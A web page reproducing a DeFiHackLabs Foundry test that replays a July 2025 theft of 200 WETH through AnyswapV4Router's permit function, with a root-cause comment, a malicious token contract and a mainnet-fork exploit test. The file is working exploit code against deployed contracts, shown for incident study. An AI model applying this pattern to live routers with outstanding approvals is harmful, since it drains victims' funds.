Public reproduction file
src/test/2025-07/AnyswapWETHPermit_exp.sol
Public reproduction file for dataset entry AnyswapWETHPermit.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 200 WETH8// Attacker : 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF296719// Attack Contract : 0xE08D97e151473A848C3d9CA3f323Cb720472D01510// Vulnerable Contract : 0x6b7a87899490EcE95443e979cA9485CBE7E7152211// Attack Tx : https://etherscan.io/tx/0xae79fdcfd7c36ed654d11b352b495340bd3cc47d0849c35ac6ffa1e4859098ec13// @Info14// Vulnerable Contract Code : https://etherscan.io/address/0x6b7a87899490EcE95443e979cA9485CBE7E71522#code16// @Analysis17// Twitter Guy : https://t.me/defimon_alerts/158218//19// Attack summary: The attacker used AnyswapV4Router.anySwapOutUnderlyingWithPermit with a malicious20// AnySwap-compatible token whose underlying was WETH. WETH does not implement permit, but its fallback21// accepts the call, so the router continued and transferred 200 WETH from a victim that had already22// approved the router.23// Root cause: The router trusted a successful permit call without confirming that the underlying token24// actually enforced permit signatures.26address constant ATTACKER = 0xC0ffeEBABE5D496B2DDE509f9fa189C25cF29671;27address constant ATTACK_CONTRACT = 0xE08D97e151473A848C3d9CA3f323Cb720472D015;28address constant VULNERABLE_CONTRACT = 0x6b7a87899490EcE95443e979cA9485CBE7E71522;29address constant VICTIM = 0x4527106ae1A661A9D2Ffc22575baCdaaCb5e51e0;30address constant WETH_TOKEN = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;32contract ContractTest is BaseTestWithBalanceLog {33 AnyswapV4Router private constant router = AnyswapV4Router(VULNERABLE_CONTRACT);34 WETH9 private constant weth = WETH9(WETH_TOKEN);35 MaliciousAnyswapToken private maliciousToken;37 function setUp() public {38 uint256 forkBlock = 23_026_899;39 vm.createSelectFork("mainnet", forkBlock);41 fundingToken = WETH_TOKEN;42 attacker = ATTACKER;44 vm.label(ATTACKER, "Attacker");45 vm.label(ATTACK_CONTRACT, "Historical attack contract");46 vm.label(VULNERABLE_CONTRACT, "AnyswapV4Router");47 vm.label(VICTIM, "Victim");48 vm.label(WETH_TOKEN, "WETH");50 maliciousToken = new MaliciousAnyswapToken(WETH_TOKEN, ATTACKER);51 vm.label(address(maliciousToken), "Malicious AnySwap token");52 }54 function testExploit() public balanceLog {55 uint256 stolenAmount = 200 ether;57 // step 1: model the same-block victim WETH funding; the real max router allowance already exists.58 vm.deal(VICTIM, stolenAmount);59 vm.prank(VICTIM);60 weth.deposit{value: stolenAmount}();61 assertEq(weth.allowance(VICTIM, VULNERABLE_CONTRACT), type(uint256).max);63 uint256 victimBefore = weth.balanceOf(VICTIM);64 uint256 attackerBefore = weth.balanceOf(ATTACKER);66 // step 2: call the verified router with dummy permit data; WETH fallback accepts the permit selector.67 vm.startPrank(ATTACKER);68 router.anySwapOutUnderlyingWithPermit(69 VICTIM,70 address(maliciousToken),71 ATTACKER,72 stolenAmount,73 block.timestamp + 1,74 0,75 bytes32(0),76 bytes32(0),77 block.chainid78 );80 // step 3: the attacker-controlled token forwards the WETH it received from the router transferFrom.81 maliciousToken.sweep(ATTACKER);82 vm.stopPrank();84 assertEq(weth.balanceOf(VICTIM), victimBefore - stolenAmount);85 assertEq(weth.balanceOf(ATTACKER), attackerBefore + stolenAmount);86 assertEq(weth.balanceOf(address(maliciousToken)), 0);87 }88}90contract MaliciousAnyswapToken {91 WETH9 private immutable weth;92 address private immutable owner;94 constructor(95 address underlyingToken,96 address tokenOwner97 ) {98 weth = WETH9(underlyingToken);99 owner = tokenOwner;100 }102 function underlying() external view returns (address) {103 return address(weth);104 }106 function depositVault(107 uint256 amount,108 address109 ) external pure returns (uint256) {110 return amount;111 }113 function burn(114 address,115 uint256116 ) external pure returns (bool) {117 return true;118 }120 function sweep(121 address to122 ) external {123 require(msg.sender == owner, "only owner");124 weth.transfer(to, weth.balanceOf(address(this)));125 }126}Analysis
Dataset entry
Public Foundry test for “AnyswapWETHPermit” (2025-07-29). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-07/ActivePoolScrvUsdUrgentRedemption_exp.solSame month in the dataset · 200 lines
- src/test/2025-07/ActivePoolUrgentRedemption_exp.solSame month in the dataset · 194 lines
- src/test/2025-07/AvaxBIFKNPair_exp.solSame month in the dataset · 213 lines
- src/test/2025-07/BoJLeverageMarket_exp.solSame month in the dataset · 193 lines
- src/test/2025-07/EmptySetReserve_exp.solSame month in the dataset · 196 lines
- src/test/2025-07/FPC_exp.solSame month in the dataset · 83 lines
- src/test/2025-07/gmx_exp.solSame month in the dataset · 427 lines
- src/test/2025-07/MulticallWithETH_exp.solSame month in the dataset · 52 lines
- src/test/2025-07/RANTToken_exp.solSame month in the dataset · 108 lines
- src/test/2025-07/Stepp2p_exp.solSame month in the dataset · 59 lines
- src/test/2025-07/StrategyLlamaLendConvex_exp.solSame month in the dataset · 104 lines
- src/test/2025-07/SuperRare_exp.solSame month in the dataset · 80 lines
- src/test/2025-07/SWAPPStaking_exp.solSame month in the dataset · 197 lines
- src/test/2025-07/unverified_8fd3_exp.solSame month in the dataset · 105 lines
- src/test/2025-07/unverified_54cd_exp.solSame month in the dataset · 77 lines
- src/test/2025-07/Unverified670471_exp.solSame month in the dataset · 160 lines
- src/test/2025-07/Unverified6883_exp.solSame month in the dataset · 224 lines
- src/test/2025-07/UPENGBurnSync_exp.solSame month in the dataset · 115 lines
- src/test/2025-07/VDS_exp.solSame month in the dataset · 82 lines
- src/test/2025-07/WETC_Token_exp.solSame month in the dataset · 78 lines
- src/test/2025-07/WhereIsMyDragonTreasure_exp.solSame month in the dataset · 137 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc0ffeebabe5d496b2dde509f9fa189c25cf29671
- Attack Contract
0xe08d97e151473a848c3d9ca3f323cb720472d015
- Vulnerable Contract
0x6b7a87899490ece95443e979ca9485cbe7e71522
- Attack Tx
0xae79fdcfd7c36ed654d11b352b495340bd3cc47d0849c35ac6ffa1e4859098ec
File record
- Name
- AnyswapWETHPermit
- Path
- src/test/2025-07/AnyswapWETHPermit_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 6f5d3e3bd12bc4eff889c65fac6ea67706ca3a4e
- Language
- Solidity
- Size
- 127 lines
- Date
- 2025-07-29
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-07/AnyswapWETHPermit_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 6f5d3e3bd12bc4eff889c65fac6ea67706ca3a4e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.